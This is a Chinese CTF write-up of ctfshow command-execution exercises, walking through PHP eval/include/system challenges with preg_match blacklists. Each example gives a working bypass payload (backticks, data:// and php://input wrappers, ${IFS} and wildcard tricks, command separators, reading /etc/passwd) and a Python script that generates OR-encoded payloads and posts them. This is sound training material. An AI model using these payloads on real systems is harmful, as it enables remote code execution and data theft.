命令执行

php相关函数介绍

preg_match函数:过滤函数

1
preg_match("/flag/i", $c)   //判断c变量中是否包含flag字符串,/i为不区分大小写。

eval函数:系统调用函数,执行函数内命令。

两者通常结合使用。

以下题目均来自于ctfshow web入门练习题命令执行部分。

参考自https://www.cnblogs.com/IFS-/p/17126297.html、https://www.cnblogs.com/GCom/p/16947760.html、https://www.cnblogs.com/GCom/p/17303018.html

例题1、

1
2
3
4
$c = $_GET['c']; 
if(!preg_match("/flag/i", $c)){
eval($c);
}

即判断c变量中是否包含flag字符串,通过则执行系统调用。

首先,构造url?c=system(“ls”); 页面回显:flag.php index.php,可以得知flag在flag.php中。

但是过滤了flag字段,因此我们构造

1
c=system("cat fla*");或c=system('cat fla""g.php');或c=system('cat fl\ag.php'); 等等。

cat;nl需要查看源码获取flag,tac不需要。

知识点:

  • 执行外部命令函数:system()、passthru()、popen()、proc_open()、exec()、shell_exec()、内敛执行(反引号``、${})

  (前六个为php可调用并执行linux指令的函数)

  • 关键字屏蔽绕过:’’、””、?、*、\、字符拼接、数组拼接

  • 文件内容查看命令:cat、tac、head、tail、less、more、nl、paste、rev、uniq、grep、sort、od、vi

例题2、

1
2
3
if(!preg_match("/flag|system|php/i", $c)){
eval($c);
}

黑名单增加:system php

因此上例无效,可以通过echo结合反引号`或上述补充中其他函数代替system来使用。

构造如下:

1
c=echo(`ls`);    c=echo(`tac fla*`);

例题3、

1
2
3
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
eval($c);
}

黑名单增加:cat sort shell . ‘

如果单纯过滤cat,可以用tac替代,但是另外还过滤了空格,因此上例无效。

方法1:经典逃逸。

因为preg_match只是对c进行的过滤,而我们通过;可以使得eval执行多条命令,因此构造如下:

1
c=eval($_GET["b"]);&b=system("tac flag.php");

即c = b,而b是命令参数,过滤c的时候是能正常绕过的。

方法2:空格绕过。

空格绕过:<、<>、%20(space)、{,}、${IFS}、$IFS$9、%09(tab)、%0a(回车)、%0b、%0c、{cat,/etc/passwd}

即构造:

1
c=echo(`tac%09fla*`);

方法3:利用无传参函数。

1
c=show_source(next(array_reverse(scandir(pos(localeconv())))));

例题4、

1
2
3
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
eval($c);
}

黑名单增加: ` echo ; (

由于 ( 的原因,使得函数无法使用,文件包含函数与伪协议不需要括号,这里使用文件包含传递伪协议

知识点:

  • 文件包含函数:include、require、include_once、require_once

  • 伪协议:php://  data://  file://  zip://

  • 分号在代码中表示结束,php代码格式为 ,分号与 ?> 同为结束符,这里使用 ?> 代替分号,即直接用?> 闭合 php( ?> 闭合的是 eval 里面的 php 语句,eval 后续还有语句的话,依旧是会执行的。除此以外,php 代码最后一句可以不用加分号)

方法一:使用data伪协议。

1
c=include$_GET[1]?>&1=data://text/palin,<?php system('tac flag.php')?>

方法二:使用php伪协议。

1
2
3
4
1、使用//input:
c=include$_GET[1]?>&1=php://input  //在burpsuite中修改c,并在请求体中增加:<?php system('cat flag.php');?>
2、使用//filter
c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php //读取base64结果。

例题5、

1
2
3
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){
eval($c);
}

黑名单增加: “ : < =

这几个都不影响,原因:

1
2
3
4
第一个参数c的内容是 include$_GET["a"]?>
第二个参数a,不受后边匹配条件的影响。
即后面的php协议不会受到正则的约束
include传参实现文件包含,利用php伪协议就可以读取flag.php文件。

解法同例题4。

例题6、

1
2
3
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
eval($c);
}

黑名单增加: / 数字

可以将例题4的参数换成字母绕过:

1
c=include$_GET[a]?>&a=data://text/palin,<?php system('tac flag.php')?>

例题7、

1
2
3
4
if(!preg_match("/flag/i", $c)){
include($c);
echo $flag;
}

提供了include函数,该函数存在文件上传漏洞,一般该漏洞即使用伪协议读取数据。

1
c=data://text/plain,<?php system('tac fla*')?>

原理:

1
2
3
4
c=data://text/plain,<?php echo hello?>;
include($c);

//php中,以上代码相当于包含了一个php文件: <?php echo hello?> 并直接执行该php里的语句打印出hello。

例题8、

1
2
3
4
if(!preg_match("/flag|php|file/i", $c)){
include($c);
echo $flag;
}

过滤了php字符串,因此上例中的显示失效。

方法一:可以修改plain为base64,并对后边php代码进行base64加密处理:

1
c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg==

方法二:php 代码这里可以使用 php 短标签进行绕过。

1
c=data://text/plain,<?= system('tac fla*')?>

例题9、

1
2
3
if(!preg_match("/flag/i", $c)){
include($c.".php");
}

在后面拼接一个 .php。

没有影响,因为 .php 前面的 php 语句已经闭合了,所以后面的 .php 会被当成 html 页面直接显示在页面上。

例题10、

1
2
3
if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
eval($c);
}

还是eval函数,但是过滤了一大堆东西。

方法一:

1
c=eval(array_pop(next(get_defined_vars())));//需要POST传入参数为1=system('tac fla*');
  • get_defined_vars() 返回一个包含所有已定义变量的多维数组。这些变量包括环境变量、服务器变量和用户定义的变量,例如GET、POST、FILE等等。

  • next()将内部指针指向数组中的下一个元素,并输出。

  • array_pop() 函数删除数组中的最后一个元素并返回其值。

方法二:无参数函数:

1
c=show_source(next(array_reverse(scandir(pos(localeconv()))))); 或者 c=show_source(next(array_reverse(scandir(getcwd()))));
  • getcwd() 函数返回当前工作目录。它可以代替pos(localeconv())

  • localeconv():返回包含本地化数字和货币格式信息的关联数组。这里主要是返回值为数组且第一项为”.”

  • pos():输出数组第一个元素,不改变指针;

  • current() 函数返回数组中的当前元素(单元),默认取第一个值,和pos()一样

  • scandir() 函数返回指定目录中的文件和目录的数组。这里因为参数为”.”所以遍历当前目录

  • array_reverse():数组逆置

  • next():将数组指针指向下一个,这里其实可以省略倒置和改变数组指针,直接利用[2]取出数组也可以

  • show_source():查看源码

例题11、

1
2
3
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
eval("echo($c);");
}

几乎过滤了所有字符,

常规的 eval(“echo($c);”); 直接构造c=system(‘cat flag.php’)就行了,但这里边也过滤了a-z以及A-Z所有字母。

但是没有过滤|符号,因此需要构造一些不可见字符进行|运算后得到system(‘cat flag.php’)。

这里直接参考大佬脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import re
import urllib
from urllib import parse
import requests

contents = []

for i in range(256):
for j in range(256):
hex_i = '{:02x}'.format(i)
hex_j = '{:02x}'.format(j)
preg = re.compile(r'[0-9]|[a-z]|\^|\+|~|\$|\[|]|\{|}|&|-', re.I)
if preg.search(chr(int(hex_i, 16))) or preg.search(chr(int(hex_j, 16))):
continue
else:
a = '%' + hex_i
b = '%' + hex_j
c = chr(int(a[1:], 16) | int(b[1:], 16))
if 32 <= ord(c) <= 126:
contents.append([c, a, b])


def make_payload(cmd):
payload1 = ''
payload2 = ''
for i in cmd:
for j in contents:
if i == j[0]:
payload1 += j[1]
payload2 += j[2]
break
payload = '("' + payload1 + '"|"' + payload2 + '")'
return payload


URL = input('url:')
payload = make_payload('system') + make_payload('cat flag.php')
print(payload)
response = requests.post(URL, data={'c': urllib.parse.unquote(payload)})
print(response.text)

例题12、

1
2
3
if(isset($_GET['c'])){
$c=$_GET['c'];
system($c." >/dev/null 2>&1");
1
> /dev/null 2>&1

即重定向,前边默认是1(标准输入),将1重定向到黑洞,2(标准输出)重定向到1,因此没有回显。

绕过:

方法一:

拼接换行操作,使重定向语句和system语句分开:

1
c=tac flag.php%0a

方法二:

要让命令回显,可以进行命令分隔,以此来绕过:

1
2
3
4
5
;    分号
| 只执行后面那条命令
|| 只执行前面那条命令 如:c=cat flag.php ||
& 两条命令都会执行
&& 两条命令都会执行 c=tac%20flag.php%26%26ls 这里tac flag.php和ls都会执行,不过这里&&必须用%26%26,不太懂为什么

例题13、

1
2
3
4
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);

过滤了很多字符,并且是顺序过滤,

1
|.*f.*l.*a.*g.*|

这种过滤就是字母不能按过滤的顺序出现

方法一

这题没有过滤通配符 “ ? ”

1
url + ?c=/bin/?at${IFS}f???.php

方法二

这题没有过滤 vi 命令。

1
url + ?c=vi${IFS}f???.php

原理

Linux 的很多命令存放在 /bin/ 目录下,且可以通过绝对路径来使用,而且支持通配符。

1
如 cat 命令也可这样使用:/bin/?at

例题14、